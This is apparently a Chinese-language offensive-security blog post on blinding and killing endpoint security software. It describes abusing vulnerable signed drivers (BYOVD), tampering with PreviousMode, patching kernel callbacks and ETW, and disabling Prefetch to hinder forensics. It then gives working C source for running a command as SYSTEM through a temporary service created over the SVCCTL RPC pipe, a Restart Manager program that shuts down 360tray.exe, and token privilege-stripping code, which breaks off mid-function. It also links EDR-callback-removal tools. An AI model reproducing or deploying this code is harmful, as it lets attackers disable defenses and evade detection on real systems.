kill杀软

2024/04/09 bypass 共 28956 字,约 83 分钟

EDR系统致盲技术,kill杀软

EDR致盲技术

BYOVD技术

BYOVD —— 利用带有漏洞的合法签名白驱动直接结束安全软件进程

一、BYOVD利用技术

BYOVD是将存在漏洞的合法驱动投递至目标系统,借助其完成恶意操作的攻击技术。借助滥用的合法驱动签名,攻击者得以绕过DSE(强制驱动签名)机制的限制,在Ring0空间完成各种攻击操作。

典型BYOVD利用过程

驱动文件利用类型厂商
DBUtil_2_3.sys虚拟内存读写DELL(CVE-2021-21551)
ene.sys物理内存读写ENE Technology

攻击者在两次攻击活动中滥用了不同的驱动文件来作为敲门砖,但是漏洞利用效果与利用链构造上如出一辙:利用内存写入类漏洞篡改内核线程对象的PreviousMode属性,达到从用户态访问内核空间的攻击效果。

二、PreviousMode篡改

typedef enum _MODE {
KernelMode = 0,
UserMode = 1,
} MODE;

ETHREAD内核数据结构中的PreviousMode原本用于指示函数的调用方,当系统调用来自用户态线程中时,系统调用的处理函数会在线程对象中设置其PreviousMode属性为1(UserMode),若调用方为内核或系统进程则将其置于0(KernelMode)。该值标识了调用源是否来自可信的环境。

若该值被置为0,类似于NtWriteVirtualMemory这样的函数可同时读写用户态与内核态的内存空间”。利用这样的方式,可以对内核数据结构执行了一系列篡改,以达成防御削弱的战术目的。

三、Ring0级防御削弱技术

利用BYOVD利用技术突破到Ring0级权限,并获取内核空间的读写权限后采取了一系列防御削弱的攻击手段,禁用了一系列内核回调函数以及检测基础设施,达到致盲安全产品的目的。

按照一定顺序对于一些系统回调函数进行了Patch,实现破坏针对进程、线程、模块和注册表等检测能力。为了保证保证不会有通知发往现存的回调函数,攻击者首先对PspNotifyEnableMask结构加以patch。

内核数据结构说明
nt!PspNotifyEnableMask表征回调函数是否安装
nt!PspLoadImageNotifyRoutine禁用模块加载(驱动加载)检测
nt!PspCreateThreadNotifyRoutine禁用线程创建/终止检测
nt!PspCreateProcessNotifyRoutine禁用进程创建/终止检测
nt!CallbackListHead禁用注册表修改检测
nt!ObTypeIndexTable禁用Object Callback

除此之外攻击者禁用了白名单之外的Mini File Filter与WFP驱动程序,破坏安全产品对于文件系统和网络流量的检测能力。ETW是Windows操作系统提供的安全事件日志采集的基础设施,帮助EDR等安全产品捕获恶意行为,攻击者通过对于ETW相关的一系列句柄与参数的覆写破坏了ETW的可用性。

篡改的ETW相关数据结构

  • nt!EtwpEventTracingProvRegHandle

  • nt!EtwKernelProvRegHandle

  • nt!EtwpPsProvRegHandle

  • nt!EtwpNetProvRegHandle

  • nt!EtwpDiskProvRegHandle

  • nt!EtwpFileProvRegHandle

  • nt!EtwSecurityMitigationsRegHandle

  • nt!EtwpHostSiloState

四、反取证-禁用Windows Prefetch文件创建

Windows Prefetch(预读取)文件被设计以加速程序的打开速度,其中存储了近期执行程序的记录。进程路径、文件创建/修改/执行时间等信息,也为恶意程序执行的分析取证提供了机会。

攻击者通过内核中nt!PfSnNumActiveTraces数据结构的篡改,禁用了Windows Prefetch文件的创建,达到反取证的目的。当该数据结构的值被篡改后,生成Prefetch文件的关键函数PfSnBeginTrace将永远返回-1,达到破坏生成的目的。

使用RPC协议加载驱动

#include <stdio.h>
#include <windows.h>

// rpc command ids
#define RPC_CMD_ID_OPEN_SC_MANAGER 27
#define RPC_CMD_ID_CREATE_SERVICE 24
#define RPC_CMD_ID_START_SERVICE 31
#define RPC_CMD_ID_DELETE_SERVICE 2

// rpc command output lengths
#define RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER 24
#define RPC_OUTPUT_LENGTH_CREATE_SERVICE 28
#define RPC_OUTPUT_LENGTH_START_SERVICE 4
#define RPC_OUTPUT_LENGTH_DELETE_SERVICE 4

#define MAX_RPC_PACKET_LENGTH 4096
#define MAX_PROCEDURE_DATA_LENGTH 2048

#define CALC_ALIGN_PADDING(VALUE_LENGTH, ALIGN_BYTES) ((((VALUE_LENGTH + ALIGN_BYTES - 1) / ALIGN_BYTES) * ALIGN_BYTES) - VALUE_LENGTH)

struct RpcBaseHeaderStruct
{
    WORD wVersion;
    BYTE bPacketType;
    BYTE bPacketFlags;
    DWORD dwDataRepresentation;
    WORD wFragLength;
    WORD wAuthLength;
    DWORD dwCallIndex;
};

struct RpcRequestHeaderStruct
{
    DWORD dwAllocHint;
    WORD wContextID;
    WORD wProcedureNumber;
};

struct RpcResponseHeaderStruct
{
    DWORD dwAllocHint;
    WORD wContextID;
    BYTE bCancelCount;
    BYTE bAlign[1];
};

struct RpcBindRequestContextEntryStruct
{
    WORD wContextID;
    WORD wTransItemCount;
    BYTE bInterfaceUUID[16];
    DWORD dwInterfaceVersion;
    BYTE bTransferSyntaxUUID[16];
    DWORD dwTransferSyntaxVersion;
};

struct RpcBindRequestHeaderStruct
{
    WORD wMaxSendFrag;
    WORD wMaxRecvFrag;
    DWORD dwAssocGroup;
    BYTE bContextCount;
    BYTE bAlign[3];

    RpcBindRequestContextEntryStruct Context;
};

struct RpcBindResponseContextEntryStruct
{
    WORD wResult;
    WORD wAlign;
    BYTE bTransferSyntax[16];
    DWORD dwTransferSyntaxVersion;
};

struct RpcBindResponseHeader1Struct
{
    WORD wMaxSendFrag;
    WORD wMaxRecvFrag;
    DWORD dwAssocGroup;
};

struct RpcBindResponseHeader2Struct
{
    DWORD dwContextResultCount;
    RpcBindResponseContextEntryStruct Context;
};

struct RpcConnectionStruct
{
    HANDLE hFile;
    DWORD dwCallIndex;

    DWORD dwInputError;

    DWORD dwRequestInitialised;

    BYTE bProcedureInputData[MAX_PROCEDURE_DATA_LENGTH];
    DWORD dwProcedureInputDataLength;

    BYTE bProcedureOutputData[MAX_PROCEDURE_DATA_LENGTH];
    DWORD dwProcedureOutputDataLength;
};

DWORD RpcConvertUUID(char* pString, BYTE* pUUID, DWORD dwMaxLength)
{
    BYTE bUUID[16];
    BYTE bFixedUUID[16];
    DWORD dwUUIDLength = 0;
    BYTE bCurrInputChar = 0;
    BYTE bConvertedByte = 0;
    DWORD dwProcessedByteCount = 0;
    BYTE bCurrOutputByte = 0;

    // ensure output buffer is large enough
    if (dwMaxLength < 16)
    {
        return 1;
    }

    // check uuid length
    dwUUIDLength = strlen("00000000-0000-0000-0000-000000000000");
    if (strlen(pString) != dwUUIDLength)
    {
        return 1;
    }

    // convert string to uuid
    for (DWORD i = 0; i < dwUUIDLength; i++)
    {
        // get current input character
        bCurrInputChar = *(BYTE*)((BYTE*)pString + i);

        // check if a dash character is expected here
        if (i == 8 || i == 13 || i == 18 || i == 23)
        {
            if (bCurrInputChar == '-')
            {
                continue;
            }
            else
            {
                return 1;
            }
        }
        else
        {
            // check current input character value
            if (bCurrInputChar >= 'a' && bCurrInputChar <= 'f')
            {
                bConvertedByte = 0xA + (bCurrInputChar - 'a');
            }
            else if (bCurrInputChar >= 'A' && bCurrInputChar <= 'F')
            {
                bConvertedByte = 0xA + (bCurrInputChar - 'A');
            }
            else if (bCurrInputChar >= '0' && bCurrInputChar <= '9')
            {
                bConvertedByte = 0 + (bCurrInputChar - '0');
            }
            else
            {
                // invalid character
                return 1;
            }

            if ((dwProcessedByteCount % 2) == 0)
            {
                bCurrOutputByte = bConvertedByte * 0x10;
            }
            else
            {
                bCurrOutputByte += bConvertedByte;

                // store current uuid byte
                bUUID[(dwProcessedByteCount - 1) / 2] = bCurrOutputByte;
            }
            dwProcessedByteCount++;
        }
    }

    // fix uuid endianness
    memcpy((void*)bFixedUUID, (void*)bUUID, sizeof(bUUID));
    bFixedUUID[0] = bUUID[3];
    bFixedUUID[1] = bUUID[2];
    bFixedUUID[2] = bUUID[1];
    bFixedUUID[3] = bUUID[0];
    bFixedUUID[4] = bUUID[5];
    bFixedUUID[5] = bUUID[4];
    bFixedUUID[6] = bUUID[7];
    bFixedUUID[7] = bUUID[6];

    // store uuid
    memcpy((void*)pUUID, (void*)bFixedUUID, sizeof(bUUID));

    return 0;
}

DWORD RpcBind(RpcConnectionStruct* pRpcConnection, char* pInterfaceUUID, DWORD dwInterfaceVersion)
{
    RpcBaseHeaderStruct RpcBaseHeader;
    RpcBindRequestHeaderStruct RpcBindRequestHeader;
    DWORD dwBytesWritten = 0;
    DWORD dwBytesRead = 0;
    BYTE bResponseData[MAX_RPC_PACKET_LENGTH];
    RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;
    RpcBindResponseHeader1Struct* pRpcBindResponseHeader1 = NULL;
    RpcBindResponseHeader2Struct* pRpcBindResponseHeader2 = NULL;
    BYTE* pSecondaryAddrHeaderBlock = NULL;
    WORD wSecondaryAddrLen = 0;
    DWORD dwSecondaryAddrAlign = 0;

    // set base header details
    memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));
    RpcBaseHeader.wVersion = 5;
    RpcBaseHeader.bPacketType = 11;
    RpcBaseHeader.bPacketFlags = 3;
    RpcBaseHeader.dwDataRepresentation = 0x10;
    RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcBindRequestHeader);
    RpcBaseHeader.wAuthLength = 0;
    RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;

    // set bind request header details
    memset((void*)&RpcBindRequestHeader, 0, sizeof(RpcBindRequestHeader));
    RpcBindRequestHeader.wMaxSendFrag = MAX_RPC_PACKET_LENGTH;
    RpcBindRequestHeader.wMaxRecvFrag = MAX_RPC_PACKET_LENGTH;
    RpcBindRequestHeader.dwAssocGroup = 0;
    RpcBindRequestHeader.bContextCount = 1;
    RpcBindRequestHeader.Context.wContextID = 0;
    RpcBindRequestHeader.Context.wTransItemCount = 1;
    RpcBindRequestHeader.Context.dwTransferSyntaxVersion = 2;

    // get interface UUID
    if (RpcConvertUUID(pInterfaceUUID, RpcBindRequestHeader.Context.bInterfaceUUID, sizeof(RpcBindRequestHeader.Context.bInterfaceUUID)) != 0)
    {
        return 1;
    }
    RpcBindRequestHeader.Context.dwInterfaceVersion = dwInterfaceVersion;

    // {8a885d04-1ceb-11c9-9fe8-08002b104860} (NDR)
    if (RpcConvertUUID((char*)"8a885d04-1ceb-11c9-9fe8-08002b104860", RpcBindRequestHeader.Context.bTransferSyntaxUUID, sizeof(RpcBindRequestHeader.Context.bTransferSyntaxUUID)) != 0)
    {
        return 1;
    }

    // write base header
    if (WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)
    {
        return 1;
    }

    // write bind request header
    if (WriteFile(pRpcConnection->hFile, (void*)&RpcBindRequestHeader, sizeof(RpcBindRequestHeader), &dwBytesWritten, NULL) == 0)
    {
        return 1;
    }

    // increase call index
    pRpcConnection->dwCallIndex++;

    // get bind response
    memset((void*)&bResponseData, 0, sizeof(bResponseData));
    if (ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0)
    {
        return 1;
    }

    // get a ptr to the base response header
    pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;

    // validate base response header
    if (pRpcResponseBaseHeader->wVersion != 5)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->bPacketType != 12)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->bPacketFlags != 3)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)
    {
        return 1;
    }

    // get a ptr to the main bind response header body
    pRpcBindResponseHeader1 = (RpcBindResponseHeader1Struct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));

    // get secondary addr header ptr
    pSecondaryAddrHeaderBlock = (BYTE*)pRpcBindResponseHeader1 + sizeof(RpcBindResponseHeader1Struct);
    wSecondaryAddrLen = *(WORD*)pSecondaryAddrHeaderBlock;

    // validate secondary addr length
    if (wSecondaryAddrLen > 256)
    {
        return 1;
    }

    // calculate padding for secondary addr value if necessary
    dwSecondaryAddrAlign = CALC_ALIGN_PADDING((sizeof(WORD) + wSecondaryAddrLen), 4);

    // get a ptr to the main bind response header body (after the variable-length secondary addr field)
    pRpcBindResponseHeader2 = (RpcBindResponseHeader2Struct*)((BYTE*)pSecondaryAddrHeaderBlock + sizeof(WORD) + wSecondaryAddrLen + dwSecondaryAddrAlign);

    // validate context count
    if (pRpcBindResponseHeader2->dwContextResultCount != 1)
    {
        return 1;
    }

    // ensure the result value for context #1 was successful
    if (pRpcBindResponseHeader2->Context.wResult != 0)
    {
        return 1;
    }

    return 0;
}

DWORD RpcConnect(char* pPipeName, char* pInterfaceUUID, DWORD dwInterfaceVersion, RpcConnectionStruct* pRpcConnection)
{
    HANDLE hFile = NULL;
    char szPipePath[512];
    RpcConnectionStruct RpcConnection;

    // set pipe path
    memset(szPipePath, 0, sizeof(szPipePath));
    _snprintf(szPipePath, sizeof(szPipePath) - 1, "\\\\.\\pipe\\%s", pPipeName);

    // open rpc pipe
    hFile = CreateFileA(szPipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 1;
    }

    // initialise rpc connection data
    memset((void*)&RpcConnection, 0, sizeof(RpcConnection));
    RpcConnection.hFile = hFile;
    RpcConnection.dwCallIndex = 1;

    // bind rpc connection
    if (RpcBind(&RpcConnection, pInterfaceUUID, dwInterfaceVersion) != 0)
    {
        return 1;
    }

    // store connection data
    memcpy((void*)pRpcConnection, (void*)&RpcConnection, sizeof(RpcConnection));

    return 0;
}

DWORD RpcSendRequest(RpcConnectionStruct* pRpcConnection, DWORD dwProcedureNumber)
{
    RpcBaseHeaderStruct RpcBaseHeader;
    RpcRequestHeaderStruct RpcRequestHeader;
    DWORD dwBytesWritten = 0;
    BYTE bResponseData[MAX_RPC_PACKET_LENGTH];
    RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;
    RpcResponseHeaderStruct* pRpcResponseHeader = NULL;
    DWORD dwProcedureResponseDataLength = 0;
    DWORD dwBytesRead = 0;
    BYTE* pTempProcedureResponseDataPtr = NULL;

    // ensure rpc request has been initialised
    if (pRpcConnection->dwRequestInitialised == 0)
    {
        return 1;
    }

    // clear initialised flag
    pRpcConnection->dwRequestInitialised = 0;

    // check for input errors
    if (pRpcConnection->dwInputError != 0)
    {
        return 1;
    }

    // set base header details
    memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));
    RpcBaseHeader.wVersion = 5;
    RpcBaseHeader.bPacketType = 0;
    RpcBaseHeader.bPacketFlags = 3;
    RpcBaseHeader.dwDataRepresentation = 0x10;
    RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcRequestHeader) + pRpcConnection->dwProcedureInputDataLength;
    RpcBaseHeader.wAuthLength = 0;
    RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;

    // set request header details
    memset((void*)&RpcRequestHeader, 0, sizeof(RpcRequestHeader));
    RpcRequestHeader.dwAllocHint = 0;
    RpcRequestHeader.wContextID = 0;
    RpcRequestHeader.wProcedureNumber = (WORD)dwProcedureNumber;

    // write base header
    if (WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)
    {
        return 1;
    }

    // write request header
    if (WriteFile(pRpcConnection->hFile, (void*)&RpcRequestHeader, sizeof(RpcRequestHeader), &dwBytesWritten, NULL) == 0)
    {
        return 1;
    }

    // write request body
    if (WriteFile(pRpcConnection->hFile, (void*)pRpcConnection->bProcedureInputData, pRpcConnection->dwProcedureInputDataLength, &dwBytesWritten, NULL) == 0)
    {
        return 1;
    }

    // increase call index
    pRpcConnection->dwCallIndex++;

    // get bind response
    memset((void*)&bResponseData, 0, sizeof(bResponseData));
    if (ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0)
    {
        return 1;
    }

    // get a ptr to the base response header
    pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;

    // validate base response header
    if (pRpcResponseBaseHeader->wVersion != 5)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->bPacketType != 2)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->bPacketFlags != 3)
    {
        return 1;
    }
    if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)
    {
        return 1;
    }

    // get a ptr to the main response header body
    pRpcResponseHeader = (RpcResponseHeaderStruct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));

    // context ID must be 0
    if (pRpcResponseHeader->wContextID != 0)
    {
        return 1;
    }

    // calculate command response data length
    dwProcedureResponseDataLength = pRpcResponseBaseHeader->wFragLength - sizeof(RpcBaseHeaderStruct) - sizeof(RpcResponseHeaderStruct);

    // store response data
    if (dwProcedureResponseDataLength > sizeof(pRpcConnection->bProcedureOutputData))
    {
        return 1;
    }
    pTempProcedureResponseDataPtr = (BYTE*)pRpcResponseHeader + sizeof(RpcResponseHeaderStruct);
    memcpy(pRpcConnection->bProcedureOutputData, pTempProcedureResponseDataPtr, dwProcedureResponseDataLength);

    // store response data length
    pRpcConnection->dwProcedureOutputDataLength = dwProcedureResponseDataLength;

    return 0;
}

DWORD RpcInitialiseRequestData(RpcConnectionStruct* pRpcConnection)
{
    // initialise request data
    memset(pRpcConnection->bProcedureInputData, 0, sizeof(pRpcConnection->bProcedureInputData));
    pRpcConnection->dwProcedureInputDataLength = 0;
    memset(pRpcConnection->bProcedureOutputData, 0, sizeof(pRpcConnection->bProcedureOutputData));
    pRpcConnection->dwProcedureOutputDataLength = 0;

    // reset input error flag
    pRpcConnection->dwInputError = 0;

    // set initialised flag
    pRpcConnection->dwRequestInitialised = 1;

    return 0;
}

DWORD RpcAppendRequestData_Binary(RpcConnectionStruct* pRpcConnection, BYTE* pData, DWORD dwDataLength)
{
    DWORD dwBytesAvailable = 0;

    // ensure the request has been initialised
    if (pRpcConnection->dwRequestInitialised == 0)
    {
        return 1;
    }

    // calculate number of bytes remaining in the input buffer
    dwBytesAvailable = sizeof(pRpcConnection->bProcedureInputData) - pRpcConnection->dwProcedureInputDataLength;
    if (dwDataLength > dwBytesAvailable)
    {
        // set input error flag
        pRpcConnection->dwInputError = 1;

        return 1;
    }

    // store data in buffer
    memcpy((void*)&pRpcConnection->bProcedureInputData[pRpcConnection->dwProcedureInputDataLength], pData, dwDataLength);
    pRpcConnection->dwProcedureInputDataLength += dwDataLength;

    // align to 4 bytes if necessary
    pRpcConnection->dwProcedureInputDataLength += CALC_ALIGN_PADDING(dwDataLength, 4);

    return 0;
}

DWORD RpcAppendRequestData_Dword(RpcConnectionStruct* pRpcConnection, DWORD dwValue)
{
    // add dword value
    if (RpcAppendRequestData_Binary(pRpcConnection, (BYTE*)&dwValue, sizeof(DWORD)) != 0)
    {
        return 1;
    }

    return 0;
}

DWORD RpcDisconnect(RpcConnectionStruct* pRpcConnection)
{
    // close pipe handle
    CloseHandle(pRpcConnection->hFile);

    return 0;
}

int main(int argc, char* argv[])
{
    RpcConnectionStruct RpcConnection;
    BYTE bServiceManagerObject[20];
    BYTE bServiceObject[20];
    DWORD dwReturnValue = 0;
    char szServiceName[256];
    DWORD dwServiceNameLength = 0;
    char szServiceCommandLine[256];
    DWORD dwServiceCommandLineLength = 0;
    char* pExecCmd = NULL;

    printf("CreateSvcRpc - www.x86matthew.com\n\n");

    if (argc != 2)
    {
        printf("Usage: %s [exec_cmd]\n\n", argv[0]);

        return 1;
    }

    // get cmd param
    pExecCmd = argv[1];

    // generate a temporary service name
    memset(szServiceName, 0, sizeof(szServiceName));
    _snprintf(szServiceName, sizeof(szServiceName) - 1, "CreateSvcRpc_%u", GetTickCount());
    dwServiceNameLength = strlen(szServiceName) + 1;

    // set service command line
    memset(szServiceCommandLine, 0, sizeof(szServiceCommandLine));
    _snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1, "cmd /c start %s", pExecCmd);
    dwServiceCommandLineLength = strlen(szServiceCommandLine) + 1;

    printf("Connecting to SVCCTL RPC pipe...\n");

    // open SVCCTL v2.0
    if (RpcConnect((char*)"ntsvcs", (char*)"367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0)
    {
        printf("Failed to connect to RPC pipe\n");

        return 1;
    }

    printf("Opening service manager...\n");

    // OpenSCManager
    RpcInitialiseRequestData(&RpcConnection);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS);
    if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER) != 0)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // validate rpc output data length
    if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // get return value
    dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[20];

    // check return value
    if (dwReturnValue != 0)
    {
        printf("OpenSCManager error: %u\n", dwReturnValue);

        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // store service manager object
    memcpy(bServiceManagerObject, (void*)&RpcConnection.bProcedureOutputData[0], sizeof(bServiceManagerObject));

    printf("Creating temporary service...\n");

    // CreateService
    RpcInitialiseRequestData(&RpcConnection);
    RpcAppendRequestData_Binary(&RpcConnection, bServiceManagerObject, sizeof(bServiceManagerObject));
    RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
    RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ALL_ACCESS);
    RpcAppendRequestData_Dword(&RpcConnection, SERVICE_WIN32_OWN_PROCESS);
    RpcAppendRequestData_Dword(&RpcConnection, SERVICE_DEMAND_START);
    RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ERROR_IGNORE);
    RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);
    RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE) != 0)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // validate rpc output data length
    if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_CREATE_SERVICE)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // get return value
    dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[24];

    // check return value
    if (dwReturnValue != 0)
    {
        printf("CreateService error: %u\n", dwReturnValue);

        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // store service object
    memcpy(bServiceObject, (void*)&RpcConnection.bProcedureOutputData[4], sizeof(bServiceObject));

    printf("Executing '%s' as SYSTEM user...\n", pExecCmd);

    // StartService
    RpcInitialiseRequestData(&RpcConnection);
    RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    RpcAppendRequestData_Dword(&RpcConnection, 0);
    if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE) != 0)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // validate rpc output data length
    if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_START_SERVICE)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // get return value
    dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];

    // check return value
    if (dwReturnValue != 0 && dwReturnValue != ERROR_SERVICE_REQUEST_TIMEOUT)
    {
        printf("StartService error: %u\n", dwReturnValue);

        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    printf("Deleting temporary service...\n");

    // DeleteService
    RpcInitialiseRequestData(&RpcConnection);
    RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));
    if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE) != 0)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // validate rpc output data length
    if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_DELETE_SERVICE)
    {
        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    // get return value
    dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];

    // check return value
    if (dwReturnValue != 0)
    {
        printf("DeleteService error: %u\n", dwReturnValue);

        // error
        RpcDisconnect(&RpcConnection);

        return 1;
    }

    printf("Finished\n");

    // disconnect from rpc pipe
    if (RpcDisconnect(&RpcConnection) != 0)
    {
        return 1;
    }

    return 0;
}

移除回调

win64 HOOK SSDT kpp patchguard 回调

https://github.com/br-sn/CheekyBlinder

https://github.com/RedCursorSecurityConsulting/PPLKiller

https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/edr-driver

https://github.com/lawiet47/STFUEDR

阻止流量出站

https://www.wangan.com/p/11v8239694f8fe03

R3 terminate

RmShutdow机制的滥用

https://learn.microsoft.com/en-us/windows/win32/rstmgr/restart-manager-portal

https://www.crowdstrike.com/blog/windows-restart-manager-part-1/

kill360

#include <windows.h>
#include <RestartManager.h>
#include <stdio.h>
#pragma comment(lib,"Rstrtmgr.lib")
/*
1.开始一个新的会话,使用 RmStartSession 函数。这将返回一个会话句柄和一个会话密钥。
2.将要管理的文件或进程注册为资源,使用 RmRegisterResources 函数。
3.使用 RmGetList 函数来检索所有与已注册的资源相关的进程信息。这将返回一个包含 RM_PROCESS_INFO 结构的数组,其中包含有关这些进程的详细信息,例如进程 ID 和进程名称。
4.使用 RmShutdown 函数来关闭所有与已注册的资源相关的进程。这将使这些进程在关闭时执行一个安全的关闭过程,以确保数据的一致性和完整性。
5.最后,使用 RmEndSession 函数来结束会话
*/
int __cdecl wmain(int argc, WCHAR** argv)
{
  DWORD dwSessionHandle = 0xFFFFFFFF;
  WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1] = { 0 };
  DWORD dwError = RmStartSession(&dwSessionHandle, 0, szSessionKey);
  wprintf(L"RmStartSession returned %d\n", dwError);
  if (dwError == ERROR_SUCCESS)
  {
      // PCWSTR pszFile = argv[1];
      PCWSTR pszFile = L"D:\\360\\360Safe\\safemon\\360tray.exe";
      dwError = RmRegisterResources(dwSessionHandle, 1, &pszFile, 0, NULL, 0, NULL);
      if (dwError == ERROR_SUCCESS)
      {
          DWORD dwReason;
          UINT i;
          UINT nProcInfoNeeded;
          UINT nProcInfo = 100;
          RM_PROCESS_INFO rgpi[100];
          dwError = RmGetList(dwSessionHandle, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason);

          if (dwError == ERROR_SUCCESS)
          {
              RmShutdown(dwSessionHandle, 0, NULL);
          }
      }
      RmEndSession(dwSessionHandle);
  }
  return 0;
}

降低令牌完整性

EnableDebugPrivilege

#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <TlHelp32.h>
#include <conio.h>

bool EnableDebugPrivilege()
{
  HANDLE hToken;
  LUID sedebugnameValue;
  TOKEN_PRIVILEGES tkp;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  {
      return   FALSE;
  }
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
  {
      CloseHandle(hToken);
      return false;
  }
  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Luid = sedebugnameValue;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
  {
      CloseHandle(hToken);
      return false;
  }
  return true;
}

int getpid(LPCWSTR procname) {

  DWORD procPID = 0;
  LPCWSTR processName = L"";
  PROCESSENTRY32 processEntry = {};
  processEntry.dwSize = sizeof(PROCESSENTRY32);


  // replace this with Ntquerysystemapi
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, procPID);
  if (Process32First(snapshot, &processEntry))
  {
      while (_wcsicmp(processName, procname) != 0)
      {
          Process32Next(snapshot, &processEntry);
          processName = processEntry.szExeFile;
          procPID = processEntry.th32ProcessID;
      }
      printf("[+] Got target proc PID: %d\n", procPID);
  }

  return procPID;
}

BOOL SetPrivilege(
  HANDLE hToken,         // access token handle
  LPCTSTR lpszPrivilege, // name of privilege to enable/disable
  BOOL bEnablePrivilege   // to enable or disable privilege
)
{
  TOKEN_PRIVILEGES tp;
  LUID luid;

  if (!LookupPrivilegeValue(
      NULL,           // lookup privilege on local system
      lpszPrivilege,   // privilege to lookup
      &luid))       // receives LUID of privilege
  {
      printf("LookupPrivilegeValue error: %u\n", GetLastError());
      return FALSE;
  }

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  if (bEnablePrivilege)
      tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
  else
      tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;

